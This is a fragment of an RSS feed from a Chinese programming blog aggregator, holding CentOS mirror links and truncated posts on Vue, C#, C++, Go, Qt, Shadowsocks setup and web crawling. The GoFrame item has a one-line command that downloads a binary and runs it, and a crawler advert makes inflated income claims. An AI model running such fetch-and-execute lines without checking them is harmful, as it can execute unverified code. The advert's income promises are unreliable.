http://ftp.ksu.edu.tw/pub/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror-hk.koddos.net/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.xtom.com.hk/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.vpshosting.com.hk/pub/linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://repo.virtualhosting.hk/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.cuhk.edu.hk/pub/Linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.uhost.hk/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.01link.hk/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.nethub.com.hk/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.sunnyvision.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.communilink.net/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.navercorp.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://data.aonenetworks.kr/os/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.neowiz.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.kakao.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.mirror.cdnetworks.com/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.kaist.ac.kr/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://download.nus.edu.sg/mirror/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.qoxy.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.nus.edu.sg/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.0x.sg/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.vodien.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos.usonyx.net/main/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp-srv2.kddilabs.jp/Linux/packages/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.nara.wide.ad.jp/pub/Linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.fairway.ne.jp/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.cat.net/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.tsukuba.wide.ad.jp/Linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.iij.ad.jp/pub/linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.yz.yamagata-u.ac.jp/pub/linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.riken.jp/Linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.jaist.ac.jp/pub/Linux/CentOS/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.sale-dedic.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://dedic.sh/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.awanti.com/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirrors.powernet.com.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.yandex.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.satellite-service.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.vilkam.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://centos-mirror.rbc.ru/pub/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.tversu.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.truenetwork.ru/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://mirror.corbina.net/pub/Linux/centos/7/isos/x86_64/CentOS-7-x86_64-Minimal-1804.iso http://ftp.</description>
    </item>
    <item>
      <title>手把手，如何搭建一个通用组件库？（文档&#43;样式&#43;按需打包</title>
      <link>https://bchobby.github.io/posts/f5fb5393e23670d86a14211b7b91cb71/</link>
      <pubDate>Sat, 22 Apr 2023 17:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5fb5393e23670d86a14211b7b91cb71/</guid>
      <description>之前的文章# 手把手，如何搭建一个通用组件库，并发布到npm？搭建了一个简单的组件库框架，并发布到了npm。&#xA;在文章结果也留了几个个坑，&#xA;1.没有样式&#xA;2.文档系统也没有&#xA;3.组件也不能按需加载&#xA;我们今天来一一解决。&#xA;样式系统 搭建之前，先来看看element-plus的样式。&#xA;主要分为几个部分，公共样式，混入函数，每个组件对应的样式。&#xA;我看了其他几个库，也大概是这种模式。&#xA;先看一下var_scss文件。&#xA;通过map定义选项，然后通过map.get来获取对应的值，具体的样式，通过各种函数来进行计算。&#xA;大概思路有了，就来搭建我们自己的样式。&#xA;首先是全局样式，以及公用样式。&#xA;具体的组件样式跟函数，我放在组件同级目录中。&#xA;文档系统 文档系统用的是vitepress。&#xA;相比于老大哥vuepress。&#xA;vitepress跟vite兼容会更好一些，更轻量一些，但是毕竟比较新，可能坑也会多一些。大家可自行选择。&#xA;快速上手，我就不介绍了，官方有详细的说明。&#xA;安装好了之后，项目跑起来，就能看到一个简单的文档了。&#xA;现在我们就可以直接md在上面写vue语法了。&#xA;并不是很方便，对吧——button需要写两次&#xA;我们希望的是写一次，既有效果，又能展示代码片段。&#xA;所以，引入一个插件——vitepress-theme-demoblock。&#xA;markdown: { config(md) { // 这里可以使用markdown-it插件 md.use(demoBlockPlugin, { scriptImports: [&#34;import * as bubuUI from &#39;@/index&#39;&#34;], scriptReplaces: [ { searchValue: /import ({.*}) from &#39;bubu-ui&#39;/g, replaceValue: (s, s1) =&amp;gt; `const ${s1} = bubuUI`, }, ], }); }, }, 复制代码 scriptImports里面的配置是将doc文档中的import引入替换成本地文件，这样打包之后就不需要做修改了。开发时请求本地文件，打包后使用npm版本。&#xA;注意：vitepress-theme-demoblock插件暂不支持vue3.2.44以后得setup写法。需要使用defineComponent写法，且引入库需要使用单引号。&#xA;参考如下。&#xA;&amp;lt;template&amp;gt; &amp;lt;bu-checkbox v-model=&#34;val&#34; label=&#34;</description>
    </item>
    <item>
      <title>C#基础学习--预处理指令</title>
      <link>https://bchobby.github.io/posts/d8f31525fe4c338ff19896da26e0e228/</link>
      <pubDate>Sat, 22 Apr 2023 16:57:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8f31525fe4c338ff19896da26e0e228/</guid>
      <description>目录&#xA;什么是预处理指令&#xA;基本规则&#xA;#define 和 #undef 指令&#xA;条件编译&#xA;条件编译结构&#xA;诊断指令&#xA;行号指令&#xA;​编辑 区域指令&#xA;#pragam warning 指令&#xA;什么是预处理指令 源代码指定了程序的定义，预处理指令指示编译器如何处理源代码&#xA;基本规则 #define 和 #undef 指令 编译符号是只有两种可能状态的标识符，要么被定义，要么未被定义&#xA;条件编译 条件编译允许我们根据某个编译符号是否被定义标注一段代码被编译或跳过&#xA;条件编译结构 #if 和#endif 指令在条件编译结构中需要配对使用&#xA;如果RightHanded 被定义，那么#if 和 #else之间的代码会被编译，否则#else 和 #endif之间的代码会被编译&#xA;诊断指令 诊断指令产生用户自定义的编译时警告以及错误信息&#xA;Message 是字符串，但是不需要引号包围&#xA;行号指令 区域指令 区域指令允许我们标注和有选择性地命名一段代码。#region特性如下：&#xA;#pragam warning 指令 #pragma warning指令允许我们关闭及重新开启警告消息</description>
    </item>
    <item>
      <title>【C&#43;&#43; 十九】STL-函数对象（仿函数）、一元谓词、二元谓词、算术仿函数、关系仿函数、逻辑仿函数</title>
      <link>https://bchobby.github.io/posts/56af2b4c9761ecbe8b8b8f5188733743/</link>
      <pubDate>Sat, 22 Apr 2023 15:29:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56af2b4c9761ecbe8b8b8f5188733743/</guid>
      <description>STL-函数对象（仿函数）、谓词、内建函数对象 文章目录 STL-函数对象（仿函数）、谓词、内建函数对象前言1 函数对象1.1 函数对象概念1.2 函数对象使用 2 谓词2.1 谓词概念2.2 一元谓词2.3 二元谓词 3 内建函数对象3.1 内建函数对象意义3.2 算术仿函数3.3 关系仿函数3.4 逻辑仿函数 总结 前言 本文包含函数对象概念、函数对象使用、谓词概念、 一元谓词、 二元谓词、内建函数对象意义、算术仿函数（plus()、minus()、multiplies()、divides()、modulus()、negate()）、关系仿函数（equal_to()、not_equal_to()、greater()、greater_equal()、less()、less_equal()）、逻辑仿函数（logical_and()、logical_or()、logical_not()）。&#xA;1 函数对象 1.1 函数对象概念 概念：&#xA;（1）、重载 函数调用操作符 的类，其对象常称为 函数对象&#xA;（2）、函数对象 使用重载的()时，行为类似函数调用，也叫 仿函数&#xA;本质： 函数对象(仿函数)是一个 类，不是一个函数&#xA;1.2 函数对象使用 特点：&#xA;（1）、函数对象在使用时，可以像普通函数那样调用, 可以有参数，可以有返回值&#xA;（2）、函数对象超出普通函数的概念，函数对象可以有自己的状态&#xA;（3）、函数对象可以作为参数传递&#xA;// 函数对象（仿函数） #include &amp;lt;iostream&amp;gt; // 包含标准输入输出流头文件 using namespace std; // 使用标准命名空间 // 1、函数对象在使用时，可以像普通函数那样调用, 可以有参数，可以有返回值 class fun_Add { public: int operator()(int a, int b) { // 重载函数调用操作符()，返回两数之和 return a + b; } }; void test01() { fun_Add fun_add; // 通过fun_Add类，创建一个fun_add函数对象 cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>用Ada语言实现ARINC653定义的航空电子应用软件的标准接口</title>
      <link>https://bchobby.github.io/posts/5f0a590546aca6d3adfccfa439a0efe5/</link>
      <pubDate>Sat, 22 Apr 2023 14:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f0a590546aca6d3adfccfa439a0efe5/</guid>
      <description>用Ada语言实现ARINC653定义的航空电子应用软件的标准接口（APEX），即是用Ada语言编写一套程序，使之实现APEX规定的功能。&#xA;这套程序的开发环境是AdaCore发布的基于Windows平台的GPS 2016，如下图所示。&#xA;这套程序通过GPS 2016构建为一个dll库。&#xA;再用C语言写了一个外壳程序，通过调用上述dll库使之实现ARINC653的C语言接口。该程序通过Visual Studio 2010构建为又一个dll库。&#xA;用户获得这两个dll库以及相应的C语言头文件后，就可在Visual Studio 环境中编写、调试、仿真运行符合ARINC 653的应用程序。&#xA;2017年完成了上述工作。但是，至今未能用于实际项目。</description>
    </item>
    <item>
      <title>深入理解 JavaScript 中的原型和原型链</title>
      <link>https://bchobby.github.io/posts/61a358c5482a9325ee174a1515a65122/</link>
      <pubDate>Sat, 22 Apr 2023 00:58:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61a358c5482a9325ee174a1515a65122/</guid>
      <description>JavaScript 中的原型和原型链是一个至关重要的概念，同时也是许多前端开发者不熟悉的知识点。在这篇文章中，我将深入讲解这些概念，并通过实例来帮助读者更好地理解它们。&#xA;一、构造函数和原型对象 在 JavaScript 中，每个对象都有一个原型对象。可以使用 Object.getPrototypeOf() 来获取一个对象的原型对象。而对象的原型对象又有自己的原型对象，这样的关系称为原型链。&#xA;在 JavaScript 中，每个对象都可以通过一个构造函数来创建。构造函数与普通函数的区别在于，它们被用来创建新的对象。在创建对象时，使用 new 关键字调用构造函数，新对象就会继承由该构造函数的原型对象定义的属性和方法。&#xA;例如，创建一个猫咪对象：&#xA;function Cat(name, color) { this.name = name; this.color = color; } var cat1 = new Cat(&#39;Mimi&#39;, &#39;white&#39;); 在这个例子中，Cat 是一个构造函数，它定义了猫咪对象的属性和方法。使用 new 关键字调用 Cat 构造函数可以创建一个新的猫咪对象 cat1。这个猫咪对象继承了 Cat 原型对象中定义的属性和方法。&#xA;二、原型链 原型链如前所述，是对象原型对象向上继承的关系链。每个对象都有一个 prototype 属性，它指向该对象的原型对象。如果一个对象的属性或方法在它的原型对象中找不到，那么它会去它的原型对象的原型对象中查找，直到找到顶层的 Object.prototype 为止。&#xA;在前面的猫咪对象的例子中，每个 Cat 对象都继承了 Object.prototype 对象中定义的属性和方法，因为 Cat 原型对象是继承自 Object.prototype 对象的。&#xA;三、实例 下面我们来看一个例子，通过一个实例来帮助大家更好地理解这些概念。&#xA;function Animal(name) { this.name = name; } Animal.prototype.color = &#39;white&#39;; function Cat(name) { Animal.</description>
    </item>
    <item>
      <title>GoNote第四章 GoFrame使用</title>
      <link>https://bchobby.github.io/posts/1b245b8888791c380c2ef5dd8fb92f46/</link>
      <pubDate>Sat, 22 Apr 2023 00:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b245b8888791c380c2ef5dd8fb92f46/</guid>
      <description>GoNote第四章 GoFrame使用 官方文档：https://goframe.org/pages/viewpage.action&#xA;介绍 GoFrame是一个基于Go语言的轻量级模块化的Web框架，它提供了很多实用的组件和工具，可以帮助我们快速地构建高性能的Web应用。下面是使用GoFrame的简单步骤：&#xA;安装GoFrame 在安装GoFrame之前，需要先安装Go语言。然后，可以从GoFrame的官方网站（https://goframe.org/）下载对应平台的安装包并进行安装。&#xA;Mac环境 wget -O gf &#34;https://github.com/gogf/gf/releases/latest/download/gf_$(go env GOOS)_$(go env GOARCH)&#34; &amp;amp;&amp;amp; chmod +x gf &amp;amp;&amp;amp; ./gf install -y &amp;amp;&amp;amp; rm ./gf Linux环境 wget -O gf Windows环境 git clone --depth=1 https://github.com/gogf/gf.git &amp;amp;&amp;amp; cd gf/cmd/gf &amp;amp;&amp;amp; go install 创建项目 可以使用gf-cli命令行工具来创建一个新的GoFrame项目。执行以下命令：&#xA;bashCopy Code$ gf-cli create myapp 其中，myapp是项目名称。该命令将创建一个名为myapp的项目，并生成一些基本目录和文件。&#xA;编写代码 在项目中，可以使用GoFrame提供的各种组件和工具来编写自己的Web应用。例如，可以定义一个处理HTTP请求的路由，并返回响应结果：&#xA;goCopy Codepackage main import ( &#34;github.com/gogf/gf/frame/g&#34; &#34;github.com/gogf/gf/net/ghttp&#34; ) func main() { s := g.Server() s.BindHandler(&#34;/&#34;, func(r *ghttp.Request) { r.</description>
    </item>
    <item>
      <title>编码器原理</title>
      <link>https://bchobby.github.io/posts/6d9b64503e32e28f4c441a3402f3d93f/</link>
      <pubDate>Fri, 21 Apr 2023 23:51:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d9b64503e32e28f4c441a3402f3d93f/</guid>
      <description>本文为学习记录文，内容主要来源网络。若有侵权，请联系删除，谢谢。&#xA;目录&#xA;文章目录 **编码器**光电式绝对式编码器原理及组成单圈和多圈码制与码盘 增量式编码器寻找零位方向判断 电容式编码器旋转变压器旋变BRX的原理及结构旋变BRT的原理及结构VR型旋变(VRX)的原理**旋变的比较** 三种编码器有缺点 编码器 旋转编码器的原理是什么？增量式编码器和绝对式编码器有什么区别？ - 知乎 (zhihu.com)&#xA;编码器按工作原理可以分为光电式、电容式、感应式、电触式等，光电式又可以分为绝对式编码器和增量式编码器两大类。这里只讨论光电式编码器及磁编码器。编码器包括码盘和码尺。前者用于测角度，后者用于测长度。因为实际接触的基本上是码盘是的，故这里只讨论码盘。&#xA;光电式绝对式编码器 原理及组成 光学码盘式是用光电照射方法把被测角位移转换成二进制的电信号的转换部件。&#xA;如下图是一个4位的绝对式编码器示意图，整圈分成 2 4 2^4 24份，在半径方向上，每一个扇区又被分成了4份。（17位的编码器，整圈则分为 2 17 2^{17} 217份，每个扇区分成17份。)&#xA;LED发射光束，经过棱镜，使光束可以照射一个扇区，在码盘另外一侧有一个探测芯片，探测芯片有4个感应区，每个感应区，可以获取同一个扇区每一份的状态。&#xA;传感器的组成：1一LED光源；2-Lens柱面镜；3一码盘；4一狭缝：5一Detector Chip探测芯片&#xA;码盘黑色区域，光线不能穿透。但探测芯片接收到光线时，为逻辑1信号，接收不到光线时，为逻辑0信号。如下图，从左到右可以分别表示0001, 0101, 1100。&#xA;因为4个逻辑代码可以组成 2 4 2^4 24组，则4位编码器的每一个扇区都有一个唯一的逻辑代码进行标识。&#xA;此时可以看到，n位编码器是将一圈分为 2 n 2^n 2n个扇区，每个扇区又有n个组成的逻辑代码进行区分,即n位编码器的每一个扇区都有一个唯一n位逻辑代码进行标识。&#xA;比如需要17位，也就是 2 17 = 131072 2^{17}=131072 217=131072个位置，那么就需要131072个不同的编码，这时的分辨率是360/131072＝0.00275°。&#xA;单圈和多圈 上述讲的即是单圈编码器原理，在工作当中，码盘旋转不超过一圈时，可以区分具体的位置。&#xA;但有时工作，需要码盘旋转几圈，这时若是不能够明确码盘旋转的圈数，则没有办法精确行走的位置变化。多圈编码器就是增加一个装置记录旋转的圈数。&#xA;目前常用的方式是利用电子计数器来记录总过转过的圈速。为了保证断电时仍能记录编码器的旋转，多圈编码器一般需要配置电池，为计数器提供电能。&#xA;码制与码盘 下面左图所示是一个6位的二进制码盘。最内圈称为C码道，一半透光、一半不透光。最外圈称为 C 1 C_1 C1​码道，一共分成 2 6 = 64 2^6=64 26=64 个黑白间隔。每一个角度方位对应于不同的编码。例如零位对应于000000（全黑），第23个方位对应于010111。测量时，只要根据码盘的起始和终止位置即可确定转角，与转动的中间过程无关。&#xA;6位二进制码盘 6位循环码码盘&#xA;二进制码盘具有以下主要特点：&#xA;n位（n个码道）的二进制码盘具有 2 n 2^n 2n种不同编码，称其容量为 2 n 2^n 2n，其最小分辨率 θ 1 = 36 0 ∘ 2 n \theta_1=\frac{360^{\circ}}{2^n} θ1​=2n360∘​它的最外圈角节距为 2 θ 1 2\theta_1 2θ1​；二进制码为有权码，编码 C n C_n Cn​， C n − 1 C_{n-1} Cn−1​， C n − 2 C_{n-2} Cn−2​，··· ， C 1 C_1 C1​对应于由零位算起的转角为 ∑ i = 1 n C i 2 i − 1 θ 1 \displaystyle\sum_{i=1}^n C_i2^{i-1}\theta_1 i=1∑n​Ci​2i−1θ1​；码盘转动中， C k C_k Ck​变化时，所有 C j （ j &amp;lt; k ） C_j（j&amp;lt;k） Cj​（j&amp;lt;k）应同时变化。 为了达到1’&#39;左右的分辨力，二进制码盘需要采用20或21位码盘。一个刻画直径为400mm的20位码盘，其外圈分别间隔稍大于1um。不仅要求各个码道刻画精确，而且要求彼此对准，这给码盘制作造成很大困难。</description>
    </item>
    <item>
      <title>【halcon】小技巧，Union1能省时</title>
      <link>https://bchobby.github.io/posts/3c38820fa10736f9ce283df043b344d8/</link>
      <pubDate>Fri, 21 Apr 2023 17:11:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c38820fa10736f9ce283df043b344d8/</guid>
      <description>背景：&#xA;使用halcon时，修改以一下步骤，发现耗时激增2秒。&#xA;定义到关键代码如下：&#xA;//再和之前的选择区域取交集 HOperatorSet.Intersection(SelectedRegions0, SelectedRegions, out ho_CutLineRegion); DebugShow(ho_CutLineRegion, &#34;red&#34;, false, false); 发现主要是DebugShow这个函数耗时，但是之前并没有发现它耗时。它只是一个显示而已。&#xA;public void DebugShow(HObject targetRegions, string color = &#34;red&#34;, bool bmargin = false, bool bStop = true) { if (bmargin) { HOperatorSet.SetDraw(hSmart.HalconWindow, &#34;margin&#34;); } else { HOperatorSet.SetDraw(hSmart.HalconWindow, &#34;fill&#34;); } HOperatorSet.SetColor(hSmart?.HalconWindow, color); hSmart?.HalconWindow.DispObj(targetRegions); if (bStop) { MessageBox.Show(&#34;&#34;); } } 最后发现，是因为ho_CutLineRegion这个变量它包含了几百个对象，才导致显示耗时。&#xA;于是我修改代码如下（将 ho_CutLineRegion 联合一下 然后再显示）：&#xA;//再和之前的选择区域取交集 HOperatorSet.Intersection(SelectedRegions0, SelectedRegions, out ho_CutLineRegion); //Unionl之后，不管是显示，而是其他操作，会更加节省时间！ HOperatorSet.Union1(ho_CutLineRegion, out ho_CutLineRegion); DebugShow(ho_CutLineRegion, &#34;red&#34;, false, false); 激增的2秒耗时就没了！</description>
    </item>
    <item>
      <title>Qt布局管理（布局控件）</title>
      <link>https://bchobby.github.io/posts/bb879ba68c53dd42965ec12bf3651b70/</link>
      <pubDate>Fri, 21 Apr 2023 16:47:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb879ba68c53dd42965ec12bf3651b70/</guid>
      <description>实际开发中，一个界面上可能包含十几个控件，手动调整它们的位置既费时又费力。作为一款成熟的 GUI 框架，Qt 提供了很多摆放控件的辅助工具（又称布局管理器或者布局控件），它们可以完成两件事：&#xA;自动调整控件的位置，包括控件之间的间距、对齐等；&#xA;当用户调整窗口大小时，位于布局管理器内的控件也会随之调整大小，从而保持整个界面的美观。&#xA;总之借助布局管理器，我们无需再逐个调整控件的位置和大小，可以将更多的精力放在软件功能的实现上。&#xA;Qt 共提供了 5 种布局管理器，每种布局管理器对应一个类，分别是 QVBoxLayout（垂直布局）、QHBoxLayout（水平布局）、QGridLayout（网格布局）、QFormLayout（表单布局）和 QStackedLayout（分组布局），它们的继承关系如下图所示：&#xA;图 1 各个布局管理类的继承关系&#xA;QVBoxLayout垂直布局 垂直布局指的是将所有控件从上到下（或者从下到上）依次摆放，例如：&#xA;图 2 QVBoxLayout垂直布局&#xA;图 2 展示了 4 个 QPushButton 按钮利用 QVBoxLayout 垂直布局的效果。实际场景中，QVBoxLayout 中还可以放置其它控件，比如 QLabel 文本框、QLineEdit 单行输入框等。&#xA;程序中使用 QVBoxLayout 布局控件，需提前引入&amp;lt;QVBoxLayout&amp;gt;头文件。每个 QVBoxLayout 控件本质都是 QVBoxLayout 类的实例对象，该类提供了两个构造函数，分别是：&#xA;QVBoxLayout() QVBoxLayout(QWidget *parent) 创建 QVBoxLayout 控件的同时可以指定父窗口，那么它将作为父窗口中管理其它控件的工具；也可以暂时不指定父窗口，待全部设置完毕后再将其添加到某个窗口中。&#xA;QVBoxLayout 类没有新增任何成员方法，它只能使用从父类继承的成员方法，下表给大家罗列了常用的一些：&#xA;表 1 QVBoxLayout常用方法&#xA;成员方法&#xA;功 能&#xA;void QBoxLayout::addWidget(QWidget *widget, int stretch = 0, Qt::Alignment alignment = Qt::Alignment())&#xA;向布局管理器中添加指定的 widget 控件。</description>
    </item>
    <item>
      <title>socks5centos7</title>
      <link>https://bchobby.github.io/posts/c27c76b73ab3e9077d5108639419b04c/</link>
      <pubDate>Fri, 21 Apr 2023 16:18:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27c76b73ab3e9077d5108639419b04c/</guid>
      <description>安装EPEL存储库：Shadowsocks需要安装一些依赖项，这些依赖项通常可以在EPEL存储库中找到。您可以使用以下命令安装EPEL存储库：&#xA;sudo yum install epel-release&#xA;安装Shadowsocks：您可以使用以下命令通过EPEL存储库安装Shadowsocks：&#xA;sudo yum install shadowsocks-libev&#xA;创建配置文件：创建一个JSON格式的配置文件，例如 /etc/shadowsocks-libev/config.json，并将以下内容添加到该文件中：&#xA;{&#xA;“server”:“0.0.0.0”,&#xA;“server_port”:1080,&#xA;“local_address”: “127.0.0.1”,&#xA;“local_port”:1080,&#xA;“password”:“your_password”,&#xA;“timeout”:300,&#xA;“method”:“aes-256-cfb”&#xA;}&#xA;启动Shadowsocks服务：运行以下命令启动Shadowsocks服务：&#xA;sudo systemctl start shadowsocks-libev&#xA;您也可以使用以下命令检查Shadowsocks服务是否正在运行：&#xA;sudo systemctl status shadowsocks-libev&#xA;配置浏览器或其他应用程序：要使用SOCKS5代理，请在浏览器或其他应用程序中进行配置。例如，在Firefox浏览器中，您可以在“首选项”-&amp;gt;“网络设置”</description>
    </item>
    <item>
      <title>Android设置ImageView可以移动、旋转、缩放</title>
      <link>https://bchobby.github.io/posts/535bd3304a1cc700a9c61cfd4e0b6b54/</link>
      <pubDate>Fri, 21 Apr 2023 15:20:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/535bd3304a1cc700a9c61cfd4e0b6b54/</guid>
      <description>&amp;lt;com.example.testdemo.CropImageView android:id=&#34;@+id/imageView&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:scaleType=&#34;matrix&#34; /&amp;gt; 设置scaleType模式可以使用矩阵&#xA;import android.content.Context import android.graphics.Matrix import android.util.AttributeSet import android.view.GestureDetector import android.view.GestureDetector.SimpleOnGestureListener import android.view.MotionEvent import android.view.ScaleGestureDetector import android.view.ScaleGestureDetector.SimpleOnScaleGestureListener import androidx.appcompat.widget.AppCompatImageView /** * @author Kawa * @date 2023/4/21 * @Description */ class CropImageView @JvmOverloads constructor( context: Context, attrs: AttributeSet? = null, ) : AppCompatImageView(context, attrs) { private var mGestureDetector: GestureDetector? = null private var mScaleDetector: ScaleGestureDetector? = null private var mRotateDetector: RotationGestureDetector? = null private var mMidPntX = 0f private var mMidPntY = 0f private val mCurrentImageMatrix by lazy { Matrix() } init { setupGestureListeners() } private fun setupGestureListeners() { mGestureDetector = GestureDetector( context, GestureListener(), null, true ) mScaleDetector = ScaleGestureDetector(context, ScaleListener()) mRotateDetector = RotationGestureDetector(RotateListener()) } override fun onTouchEvent(event: MotionEvent?</description>
    </item>
    <item>
      <title>30天练完这96个爬虫项目案例，成功逆袭！靠接单月入W＋轻轻松松！</title>
      <link>https://bchobby.github.io/posts/bb19a1f6683ebd8ebf40b6978b34aa99/</link>
      <pubDate>Fri, 21 Apr 2023 11:54:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb19a1f6683ebd8ebf40b6978b34aa99/</guid>
      <description> 在受所有大环境的影响，大家开始一个比一个卷，所以靠固定的收入那一点点是明显不够的。现在谁还没有一点其他的收入呢？Python爬虫就成了大家学习的不二之选~&#xA;相信很多学习Python的小伙伴都苦于找不到python项目练手，在我看来，基础知识学的再好，没有经历过实战就是白扯，这️️️个项目非常适合新手学习&#xA;Python爬虫虽然做为python学习中较简单的一个知识点，但是它在平时生活中的运用确实非常多的&#xA;用其兼职也是一个非常不错的选择，我给大家分享96+附源码的python爬虫项目&#xA;Python爬虫项目100例(一):入门级 1.CentOS环境安装&#xA;2.和谐图网站爬取&#xA;3.美空网数据爬取&#xA;4美空网未登录图片爬取&#xA;5.27270图片爬取&#xA;6.蜂鸟网图片爬取之一&#xA;7.蜂鸟网图片爬取之二&#xA;8.蜂鸟网图片爬取之三&#xA;9.河北阳光理政投诉板块&#xA;10.Pyt图虫网多线程爬取&#xA;11.行行网电子书多线程爬取&#xA;12.半次元COS图爬取&#xA;13斗图啦表情包多线程爬取&#xA;14.AllITeBooks多线程爬取&#xA;15.石家庄政民互动数据爬取&#xA;16.500px摄影师社区抓取摄影师数据&#xA;17.CSDN博客抓取数据&#xA;…&#xA;60.python识别验证码，阿里、腾讯、百度、聚合数据等大公司都这么干&#xA;Python爬虫项目100例(七):反爬虫技术 61.写个爬虫碰到反爬了，动手破坏它!&#xA;62.30岁了，想找点文献提高自己，还被反爬了，Python&#xA;搞起，反爬第2篇&#xA;63.Python字体反爬之一，没办法，这个必须写，反爬第3篇&#xA;64.反爬教科书级别的网站-汽车之家，字体反爬之二&#xA;65.爬虫与反爬虫的修罗场，点评网站，字体反爬之三&#xA;66.对微博登录好奇嘛，用Python试试&#xA;67.Python爬虫摆脱控制台，开始走上台面&#xA;68.一招解决爬虫程序卡死问题&#xA;69.哪些年我们碰到的懒加载&#xA;70.爬虫原理应用到多种场景，Python下载B站视频&#xA;71.续上篇，python爬虫爬取B站视频&#xA;Python爬虫项目100例(八):分布式爬虫技术 72.分布式爬虫初步解析-配好环境肝完一半&#xA;73Python分布式爬虫顶级教程&#xA;好了上面的Python爬虫项目实例已经整理打包完毕了，需要的可以直接在下面的文末获取！&#xA;关于Python技术储备 学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;一、Python所有方向的学习路线 Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、学习软件 工欲善其事必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。&#xA;三、入门学习视频 我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。&#xA;四、实战案例 光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、面试资料 我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;这份完整版的Python全套学习资料已经上传CSDN，朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】 </description>
    </item>
    <item>
      <title>VMware安装macos无法联网的问题</title>
      <link>https://bchobby.github.io/posts/bf8681f765336c50c7deb90467f25ec3/</link>
      <pubDate>Fri, 21 Apr 2023 10:59:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf8681f765336c50c7deb90467f25ec3/</guid>
